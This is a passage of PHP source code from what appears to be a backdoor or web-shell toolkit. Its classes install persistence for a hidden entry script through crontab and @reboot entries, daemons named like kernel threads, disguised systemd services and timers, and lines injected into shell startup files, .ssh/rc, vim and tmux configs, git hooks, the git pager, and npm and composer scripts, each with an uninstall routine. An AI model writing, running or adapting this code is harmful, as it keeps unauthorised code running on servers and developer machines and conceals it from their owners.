            return ['ok' => false, 'detail' => 'crontab missing'];
        }
        $ex = (string)cmd_exec('crontab -l 2>/dev/null');
        $lines = array_values(array_filter(explode("\n", $ex), 'wn_cron_filter_callback'));
        $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($e) . " >/dev/null 2>&1'";
        $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($e) . " >/dev/null 2>&1'";
        $pl = implode("\n", $lines) . "\n";
        $tmp = tempnam(sys_get_temp_dir(), 'cron_');
        if ($tmp === false) return ['ok' => false, 'detail' => 'tempnam'];
        $w = wn_call('fpc', $tmp, $pl);
        if ($w === false || $w !== strlen($pl)) { @unlink($tmp); return ['ok' => false, 'detail' => 'write']; }
        $out = trim((string)cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"));
        @unlink($tmp);
        $v = (string)cmd_exec('crontab -l 2>/dev/null');
        $hm = stripos($v, basename($e)) !== false;
        $hr = stripos($v, '@reboot') !== false;
        if (!$hm) return ['ok' => false, 'detail' => 'install failed: ' . ($out !== '' ? $out : '(empty)')];
        return ['ok' => true, 'detail' => 'active' . ($hr ? ' + reboot' : ''), 'reboot' => $hr];
    }

    public function uninstall(array $ctx)
    {
        $ex = (string)cmd_exec('crontab -l 2>/dev/null');
        $lines = array_values(array_filter(explode("\n", $ex), 'wn_cron_filter_callback'));
        $tmp = tempnam(sys_get_temp_dir(), 'cron_');
        wn_call('fpc', $tmp, implode("\n", $lines) . "\n");
        cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1");
        @unlink($tmp);
        return ['ok' => true, 'removed' => 2];
    }

    public function status(array $ctx)
    {
        if (trim((string)cmd_exec('command -v crontab 2>/dev/null')) === '') {
            return ['active' => false, 'reboot' => false, 'detail' => 'missing'];
        }
        $c = (string)cmd_exec('crontab -l 2>/dev/null');
        $m = (isset($ctx['entry']) && $ctx['entry'] && stripos($c, basename($ctx['entry'])) !== false) || stripos($c, 'cleanup.lock') !== false;
        return ['active' => $m, 'reboot' => stripos($c, '@reboot') !== false];
    }
}

// ───────────── Daemon Layer ─────────────
class WnDaemonLayer extends WnBaseLayer
{
    public function key() { return 'daemon'; }
    public function install(array $ctx)
    {
        $log = [];
        $ok = wn_spawn_daemon($ctx['php_bin'], $ctx['entry'], $log);
        $this->setLog($log);
        return ['ok' => $ok, 'detail' => $ok ? 'spawned' : 'failed', 'log' => $log];
    }
    public function uninstall(array $ctx)
    {
        cmd_exec('pkill -9 -f ' . escapeshellarg('[kworker/0:2H]') . ' 2>/dev/null');
        return ['ok' => true, 'removed' => 1];
    }
    public function status(array $ctx)
    {
        $s = wn_daemon_status();
        return ['active' => $s['alive'], 'pid' => $s['pid']];
    }
}

// ───────────── Watchdog Layer ─────────────
class WnWatchdogLayer extends WnBaseLayer
{
    public function key() { return 'watchdog'; }
    public function install(array $ctx)
    {
        $log = [];
        $ok = wn_spawn_watchdog($ctx['php_bin'], $ctx['entry'], $log);
        $this->setLog($log);
        return ['ok' => $ok, 'detail' => $ok ? 'spawned' : 'failed', 'log' => $log];
    }
    public function uninstall(array $ctx)
    {
        cmd_exec('pkill -9 -f ' . escapeshellarg('[kworker/1:1H]') . ' 2>/dev/null');
        return ['ok' => true, 'removed' => 1];
    }
    public function status(array $ctx)
    {
        $s = wn_watchdog_status();
        return ['active' => $s['alive'], 'pid' => $s['pid']];
    }
}

// ───────────── Systemd Layer ─────────────
class WnSystemdLayer extends WnBaseLayer
{
    public function key() { return 'systemd'; }
    public function install(array $ctx)
    {
        $log = [];
        $u = wn_install_systemd($ctx['php_bin'], $ctx['entry'], $log);
        $this->setLog($log);
        return ['ok' => !empty($u), 'detail' => count($u) . ' unit(s)'];
    }
    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_uninstall_systemd()];
    }
    public function status(array $ctx)
    {
        $s = wn_systemd_status();
        return ['active' => $s['user_active'] || $s['system_active']];
    }
}

// ───────────── Linger Layer ─────────────
class WnLingerLayer extends WnBaseLayer
{
    public function key() { return 'linger'; }

    private function sdu()
    {
        $uid = null;
        if (function_exists('posix_getuid')) $uid = posix_getuid();
        if ($uid !== null && file_exists('/run/user/' . $uid . '/systemd/private')) return true;
        $r = trim((string)cmd_exec('systemctl --user is-system-running 2>&1'));
        return in_array($r, ['running', 'degraded', 'initializing', 'starting'], true);
    }

    private function cl($u)
    {
        $s = trim((string)cmd_exec('loginctl show-user ' . escapeshellarg($u) . ' -p Linger 2>/dev/null'));
        if (stripos($s, 'Linger=yes') !== false) return 'yes';
        if (stripos($s, 'Linger=no') !== false) return 'no';
        if (file_exists('/var/lib/systemd/linger/' . $u)) return 'yes';
        return 'unknown';
    }

    public function install(array $ctx)
    {
        $u = $ctx['linger_user'] ?? '';
        if ($u === '') return ['ok' => false];
        if (trim((string)cmd_exec('command -v loginctl 2>/dev/null')) === '') return ['ok' => false];
        if (!$this->sdu()) return ['ok' => false];
        if ($this->cl($u) === 'yes') return ['ok' => true, 'detail' => 'already'];
        cmd_exec('loginctl enable-linger ' . escapeshellarg($u) . ' 2>&1');
        for ($i = 0; $i < 5; $i++) {
            usleep(600000);
            if ($this->cl($u) === 'yes') return ['ok' => true];
        }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $u = $ctx['linger_user'] ?? '';
        if ($u === '' || $this->cl($u) !== 'yes') return ['ok' => true, 'removed' => 0];
        cmd_exec('loginctl disable-linger ' . escapeshellarg($u) . ' 2>&1');
        usleep(500000);
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        $u = $ctx['linger_user'] ?? '';
        if ($u === '' || !$this->sdu()) return ['active' => false];
        return ['active' => $this->cl($u) === 'yes'];
    }
}

// ───────────── BashRC Layer ─────────────
class WnBashRcLayer extends WnBaseLayer
{
    public function key() { return 'shell_rc'; }
    private function mk() { return '# ' . substr(md5('wn_rc_' . wn_get_key('rc')), 0, 12) . ' shim'; }

    public function install(array $ctx)
    {
        $home = $ctx['home'];
        $e = $ctx['entry'];
        $m = $this->mk();
        $line = '[ -f "' . $e . '" ] && (php "' . $e . '" >/dev/null 2>&1 &)';
        $n = 0;
        foreach ([$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile', $home . '/.zshrc'] as $f) {
            if (!file_exists($f) || !is_writable($f)) continue;
            $c = @file_get_contents($f);
            if ($c === false) continue;
            if (strpos($c, $m) !== false) { $n++; continue; }
            if (@file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++;
        }
        return ['ok' => $n > 0, 'detail' => "$n file(s)"];
    }

    public function uninstall(array $ctx)
    {
        $home = $ctx['home'];
        $m = $this->mk();
        $n = 0;
        foreach ([$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile', $home . '/.zshrc'] as $f) {
            if (!file_exists($f) || !is_writable($f)) continue;
            $c = @file_get_contents($f);
            if ($c === false || strpos($c, $m) === false) continue;
            $lines = explode("\n", $c);
            $out = [];
            $skip = false;
            foreach ($lines as $l) {
                if (strpos($l, $m) !== false) { $skip = true; continue; }
                if ($skip) { $skip = false; continue; }
                $out[] = $l;
            }
            if (@file_put_contents($f, implode("\n", $out)) !== false) $n++;
        }
        return ['ok' => true, 'removed' => $n];
    }

    public function status(array $ctx)
    {
        $m = $this->mk();
        $h = $ctx['home'];
        foreach ([$h . '/.bashrc', $h . '/.zshrc', $h . '/.profile', $h . '/.bash_profile'] as $f) {
            if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) return ['active' => true];
        }
        return ['active' => false];
    }
}

// ───────────── SSHRC Layer ─────────────
class WnSshRcLayer extends WnBaseLayer
{
    public function key() { return 'ssh_rc'; }
    private function mk() { return '# ' . substr(md5('wn_sshrc_' . wn_get_key('sshrc')), 0, 12); }

    public function install(array $ctx)
    {
        $home = $ctx['home'];
        $e = $ctx['entry'];
        $d = $home . '/.ssh';
        if (!is_dir($d)) @mkdir($d, 0700, true);
        if (!is_dir($d) || !is_writable($d)) return ['ok' => false];
        $f = $d . '/rc';
        $m = $this->mk();
        $line = '[ -f "' . $e . '" ] && (php "' . $e . '" >/dev/null 2>&1 &)';
        if (file_exists($f)) {
            $c = @file_get_contents($f);
            if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
            if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok' => true];
            return ['ok' => false];
        }
        if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) {
            @chmod($f, 0600);
            return ['ok' => true];
        }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $f = $ctx['home'] . '/.ssh/rc';
        if (!file_exists($f) || !is_writable($f)) return ['ok' => true, 'removed' => 0];
        $c = @file_get_contents($f);
        if ($c === false) return ['ok' => false, 'removed' => 0];
        $m = $this->mk();
        if (strpos($c, $m) === false) return ['ok' => true, 'removed' => 0];
        $lines = explode("\n", $c);
        $out = [];
        $skip = false;
        foreach ($lines as $l) {
            if (strpos($l, $m) !== false) { $skip = true; continue; }
            if ($skip) { $skip = false; continue; }
            $out[] = $l;
        }
        if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok' => true, 'removed' => 1];
        return ['ok' => false, 'removed' => 0];
    }

    public function status(array $ctx)
    {
        $f = $ctx['home'] . '/.ssh/rc';
        if (!file_exists($f)) return ['active' => false];
        return ['active' => strpos((string)@file_get_contents($f), $this->mk()) !== false];
    }
}

// ───────────── BashLogout Layer ─────────────
class WnBashLogoutLayer extends WnBaseLayer
{
    public function key() { return 'bash_logout'; }
    private function mk() { return '# ' . substr(md5('wn_logout_' . wn_get_key('logout')), 0, 12) . ' shim'; }

    public function install(array $ctx)
    {
        $home = $ctx['home'];
        $e = $ctx['entry'];
        $f = $home . '/.bash_logout';
        $m = $this->mk();
        $line = '[ -f "' . $e . '" ] && (php "' . $e . '" >/dev/null 2>&1 &)';
        if (!file_exists($f)) {
            if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok' => true]; }
            return ['ok' => false];
        }
        $c = @file_get_contents($f);
        if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
        if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok' => true];
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $f = $ctx['home'] . '/.bash_logout';
        if (!file_exists($f) || !is_writable($f)) return ['ok' => true, 'removed' => 0];
        $c = @file_get_contents($f);
        if ($c === false) return ['ok' => false, 'removed' => 0];
        $m = $this->mk();
        if (strpos($c, $m) === false) return ['ok' => true, 'removed' => 0];
        $lines = explode("\n", $c);
        $out = [];
        $skip = false;
        foreach ($lines as $l) {
            if (strpos($l, $m) !== false) { $skip = true; continue; }
            if ($skip) { $skip = false; continue; }
            $out[] = $l;
        }
        if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok' => true, 'removed' => 1];
        return ['ok' => false, 'removed' => 0];
    }

    public function status(array $ctx)
    {
        $f = $ctx['home'] . '/.bash_logout';
        if (!file_exists($f)) return ['active' => false];
        return ['active' => strpos((string)@file_get_contents($f), $this->mk()) !== false];
    }
}

// ───────────── AtJob Layer ─────────────
class WnAtJobLayer extends WnBaseLayer
{
    public function key() { return 'at_job'; }

    public function install(array $ctx)
    {
        if (trim((string)cmd_exec('command -v at 2>/dev/null')) === '') return ['ok' => false];
        $line = 'php ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1';
        $out = (string)cmd_exec('echo ' . escapeshellarg($line) . ' | at now + 5 minutes 2>&1');
        $ok = stripos($out, 'job') !== false && stripos($out, 'error') === false;
        return ['ok' => $ok];
    }

    public function status(array $ctx)
    {
        return ['active' => trim((string)cmd_exec('command -v at 2>/dev/null')) !== ''];
    }
}

// ───────────── Npm Layer ─────────────
class WnNpmLayer extends WnBaseLayer
{
    public function key() { return 'npm_hooks'; }
    public function install(array $ctx)
    {
        $n = wn_inject_npm_hooks($ctx['home'], $ctx['entry']);
        return ['ok' => $n > 0, 'count' => $n];
    }
    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_cleanup_npm_hooks($ctx['home'])];
    }
    public function status(array $ctx)
    {
        $files = wn_find_project_files($ctx['home'], 'package.json');
        $mk = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8);
        $n = 0;
        foreach ($files as $f) {
            $j = @json_decode(@file_get_contents($f), true);
            if (is_array($j) && isset($j['scripts'][$mk])) $n++;
        }
        return ['active' => $n > 0, 'count' => $n];
    }
}

// ───────────── Composer Layer ─────────────
class WnComposerLayer extends WnBaseLayer
{
    public function key() { return 'composer_hooks'; }
    public function install(array $ctx)
    {
        $n = wn_inject_composer_hooks($ctx['home'], $ctx['entry']);
        return ['ok' => $n > 0, 'count' => $n];
    }
    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_cleanup_composer_hooks($ctx['home'])];
    }
    public function status(array $ctx)
    {
        $files = wn_find_project_files($ctx['home'], 'composer.json');
        $mk = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8);
        $n = 0;
        foreach ($files as $f) {
            $j = @json_decode(@file_get_contents($f), true);
            if (is_array($j) && isset($j['scripts'][$mk])) $n++;
        }
        return ['active' => $n > 0, 'count' => $n];
    }
}

// ───────────── ShellTrap Layer ─────────────
class WnShellTrapLayer extends WnBaseLayer
{
    public function key() { return 'shell_trap'; }
    public function install(array $ctx)
    {
        $n = wn_inject_shell_trap($ctx['home'], $ctx['entry']);
        return ['ok' => $n > 0, 'count' => $n];
    }
    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_cleanup_shell_trap($ctx['home'])];
    }
    public function status(array $ctx)
    {
        $h = $ctx['home'];
        $mk = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap';
        foreach ([$h . '/.bashrc', $h . '/.zshrc', $h . '/.profile', $h . '/.bash_profile'] as $f) {
            if (file_exists($f) && strpos((string)@file_get_contents($f), $mk) !== false) return ['active' => true];
        }
        return ['active' => false];
    }
}

// ───────────── GitHook Layer ─────────────
class WnGitHookLayer extends WnBaseLayer
{
    public function key() { return 'git_hook'; }
    private function mk() { return '# ' . substr(md5('wn_git_' . wn_get_key('git')), 0, 12); }

    private function fgd($home)
    {
        $dirs = [];
        if (!$home) return $dirs;
        foreach ([$home, $home . '/public_html', $home . '/www', $home . '/htdocs', $home . '/domains'] as $b) {
            if (!is_dir($b)) continue;
            if (is_dir($b . '/.git/hooks')) $dirs[] = $b . '/.git/hooks';
            foreach (@scandir($b) ?: [] as $s) {
                if ($s === '.' || $s === '..' || $s[0] === '.') continue;
                $p = $b . '/' . $s;
                if (is_dir($p . '/.git/hooks')) $dirs[] = $p . '/.git/hooks';
            }
        }
        return array_values(array_unique($dirs));
    }

    public function install(array $ctx)
    {
        $dirs = $this->fgd($ctx['home']);
        if (empty($dirs)) return ['ok' => false];
        $m = $this->mk();
        $scr = "#!/bin/sh\n" . $m . "\n[ -f \"" . $ctx['entry'] . "\" ] && (pgrep -f \"" . $ctx['entry'] . "\" >/dev/null 2>&1 || (php \"" . $ctx['entry'] . "\" >/dev/null 2>&1 &))\nexit 0\n";
        $n = 0;
        foreach ($dirs as $hd) {
            foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite'] as $nm) {
                $f = $hd . '/' . $nm;
                if (file_exists($f)) {
                    $c = @file_get_contents($f);
                    if ($c !== false && strpos($c, $m) !== false) { $n++; continue; }
                    if (is_writable($f) && @file_put_contents($f, "\n" . $scr, FILE_APPEND | LOCK_EX) !== false) $n++;
                } else {
                    if (@file_put_contents($f, $scr) !== false) { @chmod($f, 0755); $n++; }
                }
            }
        }
        return ['ok' => $n > 0, 'count' => $n];
    }

    public function uninstall(array $ctx)
    {
        $dirs = $this->fgd($ctx['home']);
        $m = $this->mk();
        $n = 0;
        foreach ($dirs as $hd) {
            foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite'] as $nm) {
                $f = $hd . '/' . $nm;
                if (!file_exists($f) || !is_writable($f)) continue;
                $c = @file_get_contents($f);
                if ($c === false || strpos($c, $m) === false) continue;
                $lines = explode("\n", $c);
                $out = [];
                $sk = false;
                foreach ($lines as $l) {
                    if (strpos($l, $m) !== false) { $sk = true; continue; }
                    if ($sk && trim($l) !== '') { $sk = false; continue; }
                    $out[] = $l;
                }
                @file_put_contents($f, implode("\n", $out));
                $n++;
            }
        }
        return ['ok' => true, 'removed' => $n];
    }

    public function status(array $ctx)
    {
        $dirs = $this->fgd($ctx['home']);
        if (empty($dirs)) return ['active' => false, 'count' => 0];
        $m = $this->mk();
        $n = 0;
        foreach ($dirs as $hd) {
            foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite'] as $nm) {
                $f = $hd . '/' . $nm;
                if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++;
            }
        }
        return ['active' => $n > 0, 'count' => $n];
    }
}

// ───────────── BashLogin Layer ─────────────
class WnBashLoginLayer extends WnBaseLayer
{
    public function key() { return 'bash_login'; }

    public function install(array $ctx)
    {
        if (file_exists($ctx['home'] . '/.bash_profile')) return ['ok' => false];
        $f = $ctx['home'] . '/.bash_login';
        $m = wn_shim_marker('bashlogin');
        $r = wn_shim_install($f, $m, wn_shim_bash_line($ctx['php_bin'], $ctx['entry']));
        if (in_array($r, ['exists', 'created', 'appended'])) { @chmod($f, 0644); return ['ok' => true, 'detail' => $r]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_shim_uninstall($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin'))];
    }

    public function status(array $ctx)
    {
        return ['active' => wn_shim_status($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin'))];
    }
}

// ───────────── LessFilter Layer ─────────────
class WnLessFilterLayer extends WnBaseLayer
{
    public function key() { return 'lessfilter'; }

    public function install(array $ctx)
    {
        $f = $ctx['home'] . '/.lessfilter';
        $m = wn_shim_marker('lessfilter');
        if (file_exists($f)) {
            $c = @file_get_contents($f);
            if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
            return ['ok' => false];
        }
        $ct = "#!/bin/sh\n" . $m . "\n" . wn_shim_bash_line($ctx['php_bin'], $ctx['entry']) . "\ncase \"\$1\" in\n  *.txt|*.log|*.conf|*.md) cat \"\$1\" ;;\n  *) exit 1 ;;\nesac\n";
        if (@file_put_contents($f, $ct) !== false) { @chmod($f, 0755); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $f = $ctx['home'] . '/.lessfilter';
        if (!file_exists($f) || !is_writable($f)) return ['ok' => true, 'removed' => 0];
        $c = @file_get_contents($f);
        if ($c === false || strpos($c, wn_shim_marker('lessfilter')) === false) return ['ok' => true, 'removed' => 0];
        @unlink($f);
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        return ['active' => wn_shim_status($ctx['home'] . '/.lessfilter', wn_shim_marker('lessfilter'))];
    }
}

// ───────────── Vimrc Layer ─────────────
class WnVimrcLayer extends WnBaseLayer
{
    public function key() { return 'vimrc'; }
    private function mk() { return '" ' . substr(md5('wn_vimrc_' . wn_get_key('vimrc')), 0, 12); }
    private function ln($ctx) { return 'silent! call system("(' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)")'; }

    public function install(array $ctx)
    {
        $f = $ctx['home'] . '/.vimrc';
        $m = $this->mk();
        if (file_exists($f)) {
            $c = @file_get_contents($f);
            if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
            if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $this->ln($ctx) . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok' => true];
            return ['ok' => false];
        }
        if (@file_put_contents($f, $m . "\n" . $this->ln($ctx) . "\n") !== false) { @chmod($f, 0644); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_shim_uninstall($ctx['home'] . '/.vimrc', $this->mk())];
    }

    public function status(array $ctx)
    {
        return ['active' => wn_shim_status($ctx['home'] . '/.vimrc', $this->mk())];
    }
}

// ───────────── GitGlobalHooks Layer ─────────────
class WnGitGlobalHooksLayer extends WnBaseLayer
{
    public function key() { return 'git_global'; }
    private function mk() { return '# ' . substr(md5('wn_gitg_' . wn_get_key('gitg')), 0, 12); }
    private function hd($ctx) { return $ctx['home'] . '/.config/git/global-hooks'; }

    public function install(array $ctx)
    {
        $hd = $this->hd($ctx);
        if (!is_dir($hd) && !@mkdir($hd, 0755, true)) return ['ok' => false];
        if (!is_dir($hd) || !is_writable($hd)) return ['ok' => false];
        $m = $this->mk();
        $scr = "#!/bin/sh\n" . $m . "\n[ -f \"" . $ctx['entry'] . "\" ] && (pgrep -f \"" . $ctx['entry'] . "\" >/dev/null 2>&1 || (" . escapeshellarg($ctx['php_bin']) . " \"" . $ctx['entry'] . "\" >/dev/null 2>&1 &))\nexit 0\n";
        $n = 0;
        foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite', 'pre-push', 'post-applypatch'] as $nm) {
            $f = $hd . '/' . $nm;
            if (file_exists($f)) {
                $c = @file_get_contents($f);
                if ($c !== false && strpos($c, $m) !== false) { $n++; continue; }
                if (is_writable($f) && @file_put_contents($f, "\n" . $scr, FILE_APPEND | LOCK_EX) !== false) $n++;
            } else {
                if (@file_put_contents($f, $scr) !== false) { @chmod($f, 0755); $n++; }
            }
        }
        $gc = $ctx['home'] . '/.gitconfig';
        $cur = file_exists($gc) ? (string)@file_get_contents($gc) : '';
        if (strpos($cur, 'hooksPath = ' . $hd) === false) {
            if (file_exists($gc)) @copy($gc, $gc . '.wn.bak');
            if (strpos($cur, '[core]') !== false) {
                if (!preg_match('/\[core\][^\[]*?hooksPath\s*=/', $cur)) {
                    $cur = preg_replace('/\[core\]/', "[core]\n\thooksPath = $hd", $cur, 1);
                }
            } else {
                $cur = rtrim($cur) . "\n[core]\n\thooksPath = $hd\n";
            }
            @file_put_contents($gc, $cur, LOCK_EX);
        }
        return ['ok' => $n > 0, 'count' => $n];
    }

    public function uninstall(array $ctx)
    {
        $hd = $this->hd($ctx);
        $m = $this->mk();
        $n = 0;
        if (is_dir($hd)) {
            foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite', 'pre-push', 'post-applypatch'] as $nm) {
                $f = $hd . '/' . $nm;
                if (!file_exists($f) || !is_writable($f)) continue;
                $c = @file_get_contents($f);
                if ($c === false || strpos($c, $m) === false) continue;
                if (strpos($c, '#!/bin/sh') === 0 && substr_count($c, "\n") < 10) { @unlink($f); $n++; }
                else { $n += wn_shim_uninstall($f, $m); }
            }
            @rmdir($hd);
        }
        $gc = $ctx['home'] . '/.gitconfig';
        if (file_exists($gc)) {
            $c = (string)@file_get_contents($gc);
            $c = preg_replace('/\n\thooksPath\s*=\s*' . preg_quote($hd, '/') . '\s*/', "\n", $c);
            @file_put_contents($gc, $c, LOCK_EX);
        }
        return ['ok' => true, 'removed' => $n];
    }

    public function status(array $ctx)
    {
        $hd = $this->hd($ctx);
        $m = $this->mk();
        $n = 0;
        if (is_dir($hd)) {
            foreach (['post-commit', 'post-merge', 'post-checkout', 'post-rewrite', 'pre-push', 'post-applypatch'] as $nm) {
                $f = $hd . '/' . $nm;
                if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++;
            }
        }
        return ['active' => $n > 0, 'count' => $n];
    }
}

// ───────────── TmuxConf Layer ─────────────
class WnTmuxConfLayer extends WnBaseLayer
{
    public function key() { return 'tmux_conf'; }
    private function mk() { return '# ' . substr(md5('wn_tmux_' . wn_get_key('tmux')), 0, 12); }

    public function install(array $ctx)
    {
        $f = $ctx['home'] . '/.tmux.conf';
        $m = $this->mk();
        $line = 'run-shell "pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)"';
        if (file_exists($f)) {
            $c = @file_get_contents($f);
            if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
            if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok' => true];
            return ['ok' => false];
        }
        if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_shim_uninstall($ctx['home'] . '/.tmux.conf', $this->mk())];
    }

    public function status(array $ctx)
    {
        return ['active' => wn_shim_status($ctx['home'] . '/.tmux.conf', $this->mk())];
    }
}

// ───────────── GitPager Layer ─────────────
class WnGitPagerLayer extends WnBaseLayer
{
    public function key() { return 'git_pager'; }
    private function mk() { return '# wn_gitpager_' . substr(md5(wn_get_key('gitpager')), 0, 8); }
    private function sp($ctx) { return $ctx['home'] . '/.config/wn/pager.sh'; }

    public function install(array $ctx)
    {
        $dir = $ctx['home'] . '/.config/wn';
        if (!is_dir($dir)) @mkdir($dir, 0755, true);
        if (!is_dir($dir) || !is_writable($dir)) return ['ok' => false];
        $s = $this->sp($ctx);
        $ct = "#!/bin/sh\n" . $this->mk() . "\npgrep -f " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 || (" . escapeshellarg($ctx['php_bin']) . " " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 &)\ncat\n";
        if (@file_put_contents($s, $ct) === false) return ['ok' => false];
        @chmod($s, 0755);
        $gc = $ctx['home'] . '/.gitconfig';
        $cur = file_exists($gc) ? (string)@file_get_contents($gc) : '';
        if (strpos($cur, 'wn_gitpager_') !== false) return ['ok' => true];
        if (file_exists($gc)) @copy($gc, $gc . '.wnpager.bak');
        if (strpos($cur, '[core]') !== false) {
            $cur = preg_replace('/\[core\]/', "[core]\n\tpager = $s", $cur, 1);
        } else {
            $cur = rtrim($cur) . "\n[core]\n\tpager = $s\n";
        }
        @file_put_contents($gc, $cur, LOCK_EX);
        return ['ok' => true];
    }

    public function uninstall(array $ctx)
    {
        $s = $this->sp($ctx);
        if (file_exists($s)) @unlink($s);
        $gc = $ctx['home'] . '/.gitconfig';
        if (!file_exists($gc)) return ['ok' => true, 'removed' => 0];
        $c = (string)@file_get_contents($gc);
        if (strpos($c, 'wn_gitpager_') === false && strpos($c, $s) === false) return ['ok' => true, 'removed' => 0];
        $c = preg_replace('/\n\tpager\s*=\s*' . preg_quote($s, '/') . '\s*/', "\n", $c);
        @file_put_contents($gc, $c, LOCK_EX);
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        $s = $this->sp($ctx);
        $gc = $ctx['home'] . '/.gitconfig';
        if (!file_exists($s) || !file_exists($gc)) return ['active' => false];
        return ['active' => strpos((string)@file_get_contents($gc), 'wn_gitpager_') !== false || strpos((string)@file_get_contents($gc), $s) !== false];
    }
}

// ───────────── VimPlugin Layer ─────────────
class WnVimPluginLayer extends WnBaseLayer
{
    public function key() { return 'vim_plugin'; }
    private function mk() { return '" wn_vimplug_' . substr(md5(wn_get_key('vimplug')), 0, 8); }

    public function install(array $ctx)
    {
        $dir = $ctx['home'] . '/.vim/plugin';
        if (!is_dir($dir)) @mkdir($dir, 0755, true);
        if (!is_dir($dir) || !is_writable($dir)) return ['ok' => false];
        $f = $dir . '/session.vim';
        $m = $this->mk();
        $line = 'silent! call system("(pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &))")';
        if (file_exists($f)) {
            $c = @file_get_contents($f);
            if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
            if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok' => true];
            return ['ok' => false];
        }
        if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        return ['ok' => true, 'removed' => wn_shim_uninstall($ctx['home'] . '/.vim/plugin/session.vim', $this->mk())];
    }

    public function status(array $ctx)
    {
        return ['active' => wn_shim_status($ctx['home'] . '/.vim/plugin/session.vim', $this->mk())];
    }
}

// ───────────── SystemdTimer Layer ─────────────
class WnSystemdTimerLayer extends WnBaseLayer
{
    public function key() { return 'systemd_timer'; }
    private function un() { return 'php-session-timer-' . substr(md5(wn_get_key('svc_timer') . wn_get_salt()), 0, 6); }
    private function ud()
    {
        $h = wn_get_home();
        if (!$h) return null;
        $d = $h . '/.config/systemd/user';
        if (!is_dir($d)) @mkdir($d, 0700, true);
        return (is_dir($d) && is_writable($d)) ? $d : null;
    }

    public function install(array $ctx)
    {
        if (!is_shell_available()) return ['ok' => false];
        if (trim((string)cmd_exec('command -v systemctl 2>/dev/null')) === '') return ['ok' => false];
        $dir = $this->ud();
        if (!$dir) return ['ok' => false];
        $svc = $this->un();
        $pe = escapeshellarg($ctx['php_bin']);
        $ee = escapeshellarg($ctx['entry']);
        $service = "[Unit]\nDescription=PHP Session Cleanup (timer)\nAfter=network.target\n\n[Service]\nType=oneshot\nExecStart={$pe} {$ee}\nStandardOutput=null\nStandardError=null\n";
